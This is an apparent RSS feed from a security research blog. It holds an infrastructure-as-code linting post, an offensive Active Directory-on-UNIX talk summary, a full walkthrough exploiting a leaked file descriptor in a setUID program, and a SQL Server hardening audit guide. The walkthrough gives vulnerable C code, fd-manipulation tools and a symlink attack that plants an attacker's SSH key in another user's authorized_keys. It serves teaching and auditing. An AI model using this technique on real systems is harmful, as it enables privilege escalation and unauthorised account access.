Portcullis Labs » auditing https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 Use Infrastructure as Code they said. Easier to audit they said… (part 1) https://labs.portcullis.co.uk/blog/use-infrastructure-as-code-they-said-easier-to-audit-they-said-part-1/ https://labs.portcullis.co.uk/blog/use-infrastructure-as-code-they-said-easier-to-audit-they-said-part-1/#comments Sat, 26 Jan 2019 22:06:06 +0000 https://labs.portcullis.co.uk/?p=6839 Whilst there are some great examples of how to assess infrastructure as code dynamically with things like the Center for Internet Security‘s Docker benchmark and CoreOS‘s Clair, these kinda run a little too late in the pipeline for my liking. If we want to treat infrastructure as code then surely we ought to be performing […]

The post Use Infrastructure as Code they said. Easier to audit they said… (part 1) appeared first on Portcullis Labs.

]]>
Whilst there are some great examples of how to assess infrastructure as code dynamically with things like the Center for Internet Security‘s Docker benchmark and CoreOS‘s Clair, these kinda run a little too late in the pipeline for my liking. If we want to treat infrastructure as code then surely we ought to be performing code reviews and if we’re performing code reviews then perhaps we can perform a subset of these checks automatically pre-commit?

Many of the current generation of infrastructure orchestration tools utilise Domain Specific Languages presented through the medium of YAML, JSON etc which allow the infradev team to specify programmatically, the architecture and nature of the infrastructure they manage. Just how secure are these language and where might we find gaps that an offensive party might seek to exploit? In practice, what I was really thinking was, if I want to review commits (automatically), then what exactly do I want my tools to look for and why? This seems like an obvious question but at that point, I hadn’t seen a huge amount of talk (or more importantly, based on the work I do, evidence) on how others were doing this to review their templates before they’d been built and deployed….

The good news is that somewhere along the way, whilst I was still asking around and before I started to work on this series of posts, I discovered cfn_nag which looked like a great start, albeit only if you’re working on AWS‘s CloudFormation platform. Taking inspiration from this discovery, my next search was for a linting tool for Ansible (my preferred choice for infrastructure orchestration) and this too yielded results, namely ansible-lint. It turns out that there is more going on than I’d originally feared but that if you want to do this kind of thing (and you should), you really want to be looking for linting tools for your preferred templating language. One observation I’ll make however is that many of these linters don’t appear to have a regular stream of updates and that they may only support a limited set of checks.

In the next part of my thought experiment, we’ll take a deeper dive and I’ll start to consider just how effective these linters are, looking at both the theory of static analysis and code review as it applies to secure development more generally and just as importantly, looking at the assurance these tools can give you.

The post Use Infrastructure as Code they said. Easier to audit they said… (part 1) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/use-infrastructure-as-code-they-said-easier-to-audit-they-said-part-1/feed/ 0
An offensive introduction to Active Directory on UNIX https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/ https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/#comments Thu, 06 Dec 2018 09:18:36 +0000 https://labs.portcullis.co.uk/?p=6805 By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests. Background to Active Directory integration […]

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests.

Background to Active Directory integration solutions

Having seen an uptick in unique UNIX infrastructures that are integrated into customers’ existing Active Directory forests, the question becomes, “Does this present any concerns that may not be well understood?” This quickly became “What if an adversary could get into a UNIX box and then breach your domain?”
Within a typical Active Directory integration solution (in this case SSSD), the solution shares a striking similarity to what a user might see on Windows. Notably, you have:

  • DNS – Used for name resolution
  • LDAP – Used for “one-time identification” and assertion of identity
  • Kerberos – Used for ongoing authentication
  • SSSD – Like LSASS
  • PAM – Like msgina.dll or the more modern credential providers

You can see a breakdown of this process here. Unlike Windows, there is no Group Policy for the most part (with some exceptions), so policies for sudo et al. are typically pushed as flat files to hosts.

Our research

Realistically, the threat models associated with each part of the implementation should be quite familiar to anyone securing a heterogeneous Windows network. Having worked with a variety of customers, it becomes apparent that the typical UNIX administrator who does not have a strong background in Windows and Active Directory will be ill-equipped to handle this threat. While we’ve been talking about successful attacks against components such as LSASS and Kerberos for quite some time, Mimikatz dates back to at least April 2014, and dumping hashes has been around even longer. Pwdump, which dumped local Windows hashes, was published by Jeremy Allison in 1997). However, no one has really taken a concerted look at whether these attacks are possible on UNIX infrastructure, nor how a blue team might spot an adversary performing them.

As a result of this research, we were able to develop tactics, tools, and procedures that might further assist an attacker in breaching an enterprise, and we began documenting and developing appropriate strategies to allow blue teams to appropriately detect and respond to such incursions. The Black Hat EU slides can be found here and whilst the tools we developed can be found on our GitHub repo.

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/feed/ 0
Where 2 worlds collide: Bringing Mimikatz et al to UNIX https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/ https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/#comments Thu, 06 Dec 2018 08:04:06 +0000 https://labs.portcullis.co.uk/?p=6806 Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018). Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may […]

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018).

Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may not be as well understood by a typical UNIX admin who does not have a strong background in Windows and AD. Over the last few months we’ve spent some time looking a number of specific Active Directory integration solutions (both open and closed source) for UNIX systems and documenting some of the tools, tactics and procedures that enable attacks on the forest to be staged from UNIX.

This talk describes the technical details regarding our findings. It includes Proof of Concepts (PoC) showing real-world attacks against AD joined UNIX systems. Finally, potential solutions or mitigation controls are discussed that will help to either prevent those attacks or at the very least to detect them when they occur.

Tools referenced in this talk include:

Eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX
724.9 KiB
MD5 hash: cc712c5e46b16fbff22a2566b1248a91
Details

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/feed/ 0
Exploiting inherited file handles in setUID programs https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/ https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/#comments Thu, 28 Jun 2018 16:00:40 +0000 https://labs.portcullis.co.uk/?p=6538 In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is […]

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is what we’ll look at in the context of setUID programs on Linux.

I was reminded of this technique as I tackled an old hacker challenge recently. This a fun challenge. And there’s a much easier solution than using the technique I’m going to cover here. Maybe try both the hard way and the easy way.

Example program

Here’s a fairly minimal test case of example code – inspired by the nebula challenge code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 char *cmd = argv[1];
 char tmpfilepath[] = "/tmp/tmpfile";  // Modern systems need "sysctl fs.protected_symlinks=0" or "chmod 0777 /tmp" for this to be vulnerable to the symlink attack we'll use later.
 char data[] = "pointless data\n";

int fd = open(tmpfilepath, O_CREAT|O_RDWR, 0600);
 unlink(tmpfilepath);
 write(fd, data, strlen(data));
 setuid(getuid());
 system(cmd);
}

Let’s start by compiling this and setting the setUID bit so we have an example to work with:

root@challenge:/# useradd -m tom # victim/target user
root@challenge:/# useradd -m bob # attacker
root@challenge:/# cd ~bob
root@challenge:/home/bob# cp /share/fd-leak.c .
root@challenge:/home/bob# gcc -o fd-leak fd-leak.c
root@challenge:/home/bob# chown tom:tom fd-leak
root@challenge:/home/bob# chmod 4755 fd-leak
root@challenge:/home/bob# ls -l fd-leak
-rwsr-xr-x 1 root root 8624 Apr 12 11:06 fd-leak
root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

For exploitation later, we’ll also need the target user (tom in this case) to have a .ssh directory in their home directory:

root@challenge:/# mkdir ~tom/.ssh; chown tom:tom ~tom/.ssh

What this program lacks in realism is hopefully made up for in its simplicity.

Normal operation

As can be seen from the code above, the program should:

  1. Create the file /tmp/tmpfile, then delete it. A file descriptor is retained
  2. Drop privileges. This is poor code for dropping privileges, btw. It suffices for this example, though
  3. Run a command that is supplied as an argument. It should run as the invoking user, not as the target user (tom)

Let’s try it out (note that I modify .bashrc to make it clearer to the reader when a subshell has been spawned):

root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo 'echo subshell...' > .bashrc
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ./fd-leak bash -p
subshell...
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
root@challenge:/home/bob# useradd -m tom
root@challenge:/home/bob# su - tom
$ mkdir .ssh
$ ls -la
total 28
drwxr-xr-x 3 tom tom 4096 Apr 12 11:42 .
drwxr-xr-x 2 tom tom 4096 Apr 12 11:42 .ssh
...

So, yes fd-leak appears to drop privileges. (Our spawned shell isn’t responsible for the drop in privileges as I’ve hopefully illustrated by passing -p to bash above and by running id directly).

Finally, we expect the child process to inherit a file handle to the now deleted file /tmp/tmpfile:

bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 11:22 0 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 1 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 2 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 3 -> '/tmp/tmpfile (deleted)'
lr-x------ 1 bob bob 64 Apr 12 11:22 4 -> /proc/53982/fd

It does. We’re all set.

High level exploit path

Our approach to attacking this vulnerable program will follow these high level steps which are covered in more detail in the sections below:

  1. Create a symlink that the vulnerable code will try to write to. This way we can create a file in a location of our choosing and with a name we choose. We’ll choose ~tom/.ssh/authorized_keys
  2. We’ll run some code in the context of a child process to manipulate the open file handle so we can write the contents of authorized_keys file
  3. Finally, we log with via SSH

Practical exploitation

Step 1: Symlink attack

Simple:

ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

This step was harder in the nebula challenge, but I didn’t want to cloud the issue.

If we run the code now, we see that the authorized_keys file is created, but we don’t control the contents.

bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
ln: failed to create symbolic link '/tmp/tmpfile': File exists
bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:11 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys

We also don’t control the permissions the file gets created with. (Feel free to try the above on authorized_keys2 after running “umask 0″ to check).

Step 2: Running code in child process

It’s pretty easy to run code because of the nature of the program. Again, this was harder in the nebula challenge. We can see the file handle we want listed in /proc/self/fd. It’s file descriptor 3:

bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:25 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak bash
subshell...
bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 12:26 0 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 1 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 2 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 3 -> /home/tom/.ssh/authorized_keys
lr-x------ 1 bob bob 64 Apr 12 12:26 4 -> /proc/54947/fd

So we can just “echo key > /proc/self/fd/3″? Not really. That’s just a symlink. A symlink to a file that doesn’t exist to be precise. And it’s pointing to a location that we’d don’t have privileges to create. Let’s confirm that:

bob@challenge:~$ ls -l /home/tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:25 /home/tom/.ssh/authorized_keys
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo > /home/tom/.ssh/authorized_keys
bash: /home/tom/.ssh/authorized_keys: Permission denied
bob@challenge:~$ echo > /tmp/tmpfile
bash: /tmp/tmpfile: Permission denied
bob@challenge:~$ echo > /proc/self/fd/3
bash: /proc/self/fd/3: Permission denied

We need to write to file descriptor 3… So is there are version of cat that works with file descriptors? Not that I know of. Let’s write some small utilities that will help us get to grips with accessing inherited file handles. We’ll write 3 tools:

  • read – that uses the read function to read a set number of bytes from a particular file descriptor
  • write – that writes a string of our choosing to a particular file descriptor
  • lseek – that lets us position our read/write

Here’s the source and compilation of the (very crude) demo tools:

bob@challenge:~$ cat read.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 char buf[1024];
 memset(buf, 0, 1024);
 int r = read(atoi(argv[1]), buf, 10);
 printf("Read %d bytes\n", r);
 write(1, buf, 10);
}

bob@challenge:~$ gcc -o read read.c
bob@challenge:~$ cat write.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("writing %s to fd %s\n", argv[2], argv[1]);
 write(atoi(argv[1]), argv[2], strlen(argv[2]));
}
bob@challenge:~$ gcc -o write write.c
bob@challenge:~$ cat lseek.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("seek to position %s on fd %s\n", argv[2], argv[1]);
 lseek(atoi(argv[1]), atoi(argv[2]), SEEK_SET);
}

bob@challenge:~$ gcc -o lseek lseek.c

Let’s see the tools in action. First we try to read, then write to file descriptor 3, but the read always returns 0 bytes:

bob@challenge:~$ ./read 3
Read 0 bytes
bob@challenge:~$ ./write 3 hello
writing hello to fd 3
bob@challenge:~$ ./read 3
Read 0 bytes

The reason is that we need to seek to a location in the file that isn’t the end of the file. Let’s seek to position 0, the beginning of the file:

bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./read 3
Read 10 bytes
pointless bob@challenge:~$ ./read 3
Read 10 bytes
data
hellobob@challenge:~$ ./read 3
Read 0 bytes

Much better.

Finally we need exploit the program above. We have two choices:

  • Run a shell as before, then use our new tool to write the key to authorized_keys; or
  • Make a new tool using the functions shown above to write to authorized_keys.

Let’s do the former. The latter is an exercise for the reader. Note that we need to seek to position 0 before we write our data. It’s important to overwrite the “pointless” message already there as that corrupts the authorized_keys file:

bob@challenge:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bob/.ssh/id_rsa): bobkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bobkey.
Your public key has been saved in bobkey.pub.
bob@challenge:~$ cat bobkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge
bob@challenge:~$ ls -l bobkey.pub
-rw-r--r-- 1 bob bob 387 Apr 12 12:30 bobkey.pub
bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./write 3 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge'
 writing ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge to fd 3

Step 3: Logging in via SSH

bob@challenge:~$ ssh -i bobkey tom@localhost
$ id
uid=1002(tom) gid=1002(tom) groups=1002(tom)

We’re done. We exploited the leaked file descriptor to write data of our choosing to tom’s authorized_keys file. We used a slightly unrealistic symlink attack along the way, but that doesn’t invalidate our discussion of how to use and abuse leaked file descriptors.

Conclusion

Hacker challenges are fun. Even when you accidentally find a much harder solution and waste 10 times longer than necessary.

Writing secure setUID programs can be difficult. Particularly if you spawn child processes; particularly if you use open() in directories writable by other users. fs.protected_symlinks provides some mitigation for directories with the sticky bit set.

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/feed/ 0
MS SQL Server audit: Surface area reduction (part 2) https://labs.portcullis.co.uk/blog/ms-sql-server-audit-surface-area-reduction-part-2/ https://labs.portcullis.co.uk/blog/ms-sql-server-audit-surface-area-reduction-part-2/#comments Thu, 15 Feb 2018 20:27:39 +0000 https://labs.portcullis.co.uk/?p=3384 Continuing on from part 1, we will look other benchmark settings that will help to reduce the surface area of attack. Other settings There are a number of other settings in the Center for Internet Security (CIS) Security Benchmark for SQL Server relating to surface area reduction that should be considered: Set is_trustworthy settings for […]

The post MS SQL Server audit: Surface area reduction (part 2) appeared first on Portcullis Labs.

]]>
Continuing on from part 1, we will look other benchmark settings that will help to reduce the surface area of attack.

Other settings

There are a number of other settings in the Center for Internet Security (CIS) Security Benchmark for SQL Server relating to surface area reduction that should be considered:

  • Set is_trustworthy settings for each database in sys.databases to off (2.10 in CIS SQL Server 2008R2; 2.9 in CIS SQL Server 2012)
  • Disable unnecessary SQL Server protocols (2.11 in CIS SQL Server 2008R2; 2.10 in CIS SQL Server 2012)
  • Configure SQL Server to use non-standard ports (2.12 in CIS SQL Server 2008R2; 2.11 in CIS SQL Server 2012)
  • Set the “Hide Instance” option to Yes for Production SQL Server instances (2.13 in CIS SQL Server 2008R2; 2.12 in CIS SQL Server 2012)
  • Disable the sa Login Account by setting is_disabled in sys.server_principals to yes where sid is 0×01 (2.14 in CIS SQL Server 2008R2; 2.13 in CIS SQL Server 2012)
  • Rename the sa Login Account (2.15 in CIS SQL Server 2008R2; 2.14 in CIS SQL Server 2012)

Set is_trustworthy setting is off for each database

Using the catalog view of databases (sys.databases), check whether the database is trusted or not using the “is_trustworthy_on”. Here we want to ensure that databases are considered not trusted and set to disabled (0).

Note: The msdb database is excluded as disabling the trustworthy setting may cause unexpected behaviour in SQL Server components that use information from the msdb database.

A query can be constructed as follows:

SELECT name FROM sys.databases WHERE is_trustworthy_on = 1 AND name != 'msdb' AND state = 0;

The Trustworthy setting can also be observed using SQL Server Management Studio.

  • Within the Object Explorer, navigate to the SQL Server Instance and expand the path to “Databases”
  • Right-click on each database under ‘Databases’ and ‘Databases\System databases’ and select properties
  • Click on “Options” page and scroll down in the right pane to “Miscellaneous” where “Trustworthy” is seen
Trustworthy option for database in SQL Server Management Studio
image-3385

Trustworthy option for database in SQL Server Management Studio

Disable unnecessary SQL Server protocols

Ideally the number of SQL Server protocols enabled should be reduced. It is noted that CIS Security Benchmark do not score this particular issue.

The list of SQL Server Protocols can be found in SQL Server Configuration Manager. To see the settings:

  • Go to the SQL Server Network Configuration in object explorer and navigate to “Protocols for”
  • Ensure that only required protocols are enabled

Note: Microsoft does not specify exactly which protocols should be disabled. However, the setting for a default installation of SQL Server 2008R2 for example appears to be.

  • NP (Named Pipes) – Disabled
  • SM (Shared Memory) – Enabled
  • TCP – Enabled
  • Via – Disabled

The following is query that performs a check on the protocols by checking the registry entry for each of the 4 possible protocols, NP (Named Pipes), SM (Shared Memory), TCP and Via. Note: It makes 4 separate queries for each protocol by finding whether registry entry is enabled or not with the results combined together using a union.

DECLARE @InstanceName nvarchar(50)
DECLARE @MajorVersion decimal
DECLARE @RegKey_Instance nvarchar(500)
DECLARE @RegValue_Instance VARCHAR(100)

DECLARE @RegKey nvarchar(500)
DECLARE @Value_Sm int
DECLARE @Display_Sm VARCHAR(20)
DECLARE @Value_Np int
DECLARE @Display_Np VARCHAR(20)
DECLARE @Value_TCP int
DECLARE @Display_TCP VARCHAR(20)
DECLARE @Value_Via int
DECLARE @Display_Via VARCHAR(20)

-- Get the Instance Name. Default is 'MSSQLSERVER'
SET @InstanceName=CONVERT(nVARCHAR,isnull(SERVERPROPERTY('INSTANCENAME'),'MSSQLSERVER'))

-- Get the Major version number. 8=SQL2000, 9=SQL2005, 10=SQL2008, 11=SQL2012
-- Convert first 2 characters ('8.', '9.', '10', '11'). Convert to Decimal
SET @MajorVersion=CONVERT(decimal,CONVERT(varchar(2),(SERVERPROPERTY('ProductVersion'))))

-- Get the RegKey for Instance Name (e.g. 'MSSQLSERVER')
SET @RegKey_Instance='SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'

-- Get the RegValue for Instance Name (e.g. 'MSSQL10_50.MSSQLSERVER')
EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey_Instance,
  @value_name = @InstanceName,
  @value = @RegValue_Instance OUTPUT

-- Get the RegKey for SM (Shared Memory) and whether protocol is enabled
SET @RegKey='SOFTWARE\Microsoft\Microsoft SQL Server\'+@RegValue_Instance+'\MSSQLServer\SuperSocketNetLib\Sm'
EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'Enabled',
  @value = @Value_Sm OUTPUT

EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'DisplayName',
  @value = @Display_Sm OUTPUT

-- Get the RegKey for Np (Named Pipes) and whether protocol is enabled
SET @RegKey='SOFTWARE\Microsoft\Microsoft SQL Server\'+@RegValue_Instance+'\MSSQLServer\SuperSocketNetLib\Np'
EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'Enabled',
  @value = @Value_Np OUTPUT

EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'DisplayName',
  @value = @Display_Np OUTPUT

-- Get the RegKey for TCP and whether protocol is enabled
SET @RegKey='SOFTWARE\Microsoft\Microsoft SQL Server\'+@RegValue_Instance+'\MSSQLServer\SuperSocketNetLib\TCP'
EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'Enabled',
  @value = @Value_TCP OUTPUT

EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'DisplayName',
  @value = @Display_TCP OUTPUT

-- Get the RegKey for Via and whether protocol is enabled
SET @RegKey='SOFTWARE\Microsoft\Microsoft SQL Server\'+@RegValue_Instance+'\MSSQLServer\SuperSocketNetLib\Via'
EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'Enabled',
  @value = @Value_Via OUTPUT

EXECUTE xp_regread
  @rootkey = 'HKEY_LOCAL_MACHINE',
  @key = @RegKey,
  @value_name = 'DisplayName',
  @value = @Display_Via OUTPUT

SELECT @Display_Np as DisplayName, @Value_Np as Enabled
UNION SELECT @Display_Sm, @Value_Sm
UNION SELECT @Display_TCP, @Value_TCP
UNION SELECT @Display_Via, @Value_Via

The following is a sample result from a SQL Server 2008R2 database instance:

DisplayName          Enabled
-------------------- -----------
Named Pipes                    0
Shared Memory                  1
TCP/IP                         1
VIA                            0

Check port is running for SQL Server

An ideal practice is to configure the SQL server instance to not use the default TCP port of 1433. Using a non-default port helps protect the database from attacks directed to the default port. It is noted that CIS Security Benchmark do no score this particular issue.

This can be checked using netstat and looking for port 1433 in command prompt:

C:\>netstat -ano

Or with PowerShell:

C:\>netstat -ano | select-string 1433.+listening

Alternatively, SQL Server Configuration Manager can be used to see what port is set:

  • Go to the SQL Server Network Configuration in object explorer and navigate to “Protocols for”
  • Right-click on “TCP”
  • Click on the “IP Protocols” tab
  • Observe the IP address and port that has been set

You should also ensure the interface for each IP address (particularly Internet interface) is not enabled.

A query that uses the registry settings for the TCP service used by SQL Server can be made and the port returned as follows:

DECLARE @InstanceName nvarchar(50)
DECLARE @RegKey VARCHAR(100)
DECLARE @PortNumber VARCHAR(20)

-- Get the Instance Name. Default is 'MSSQLSERVER'
SET @InstanceName=CONVERT(nVARCHAR,isnull(SERVERPROPERTY('INSTANCENAME'),'MSSQLSERVER'))

SET @RegKey = 'SOFTWARE\MICROSOFT\MSSQLServer\'+@InstanceName+'\Supersocketnetlib\TCP'
EXEC xp_regread
  @rootkey='HKEY_LOCAL_MACHINE', @key=@RegKey,
  @value_name='Tcpport', @value=@PortNumber OUTPUT

SELECT @InstanceName as Instance, @PortNumber as Port

Hidden option

Another good practice is to configure SQL Server instances within production environments as hidden to prevent advertisement by the SQL Server Browser service.

The “Hide Instance” state can be found in SQL Server Configuration Manager. To see the settings:

  • Go to the SQL Server Network Configuration in object explorer and navigate to “Protocols for”
  • Right-click “Protocols for”, and then select “Properties”
  • On the “Flags” tab, observe the “Hide Instance” box
  • In the “Hide Instance” box, select Yes to enable hiding the server instance

The following query can be used to determine if the server instance is hidden:

DECLARE @InstanceName nvarchar(50)
DECLARE @MajorVersion decimal
DECLARE @RegKey_Instance nvarchar(500)
DECLARE @RegValue_Instance VARCHAR(100)</pre>
DECLARE @RegKey nvarchar(500)
DECLARE @Value int

-- Get the Instance Name. Default is 'MSSQLSERVER'
SET @InstanceName=CONVERT(nVARCHAR,isnull(SERVERPROPERTY('INSTANCENAME'),'MSSQLSERVER'))

-- Get the Major version number. 8=SQL2000, 9=SQL2005, 10=SQL2008, 11=SQL2012
-- Convert first 2 characters ('8.', '9.', '10', '11'). Convert to Decimal
SET @MajorVersion=CONVERT(decimal,CONVERT(varchar(2),(SERVERPROPERTY('ProductVersion'))))

-- Get the RegKey for Instance Name (e.g. 'MSSQLSERVER')
SET @RegKey_Instance='SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL'

-- Get the RegValue for Instance Name (e.g. 'MSSQL10_50.MSSQLSERVER')
EXECUTE xp_regread
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = @RegKey_Instance,
@value_name = @InstanceName,
@value = @RegValue_Instance OUTPUT

-- Get the RegKey for SM (Shared Memory) and whether protocol is enabled
SET @RegKey='SOFTWARE\Microsoft\Microsoft SQL Server\'+@RegValue_Instance+'\MSSQLServer\SuperSocketNetLib'
EXECUTE xp_regread
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = @RegKey,
@value_name = 'HideInstance',
@value = @Value OUTPUT

SELECT @InstanceName as 'InstanceName', @Value as 'HideInstance'

Check sa account has been disabled

A good practice is to have the widely known system admin account sa disabled. Enforcing this control reduces the probability of an attacker executing brute force attacks.

The following query shows the name of the system admin account, which sa by default and whether it is disabled:

SELECT name, is_disabled
FROM sys.server_principals
WHERE sid = 0x01;

Check sa account has been renamed

A good practice is to have the widely known system admin account sa disabled. It is more difficult to launch password-guessing and brute-force attacks against the sa account if the username is not known.

The following query lists the name of the system admin account:

SELECT name
FROM sys.server_principals
WHERE sid = 0x01;

Summary

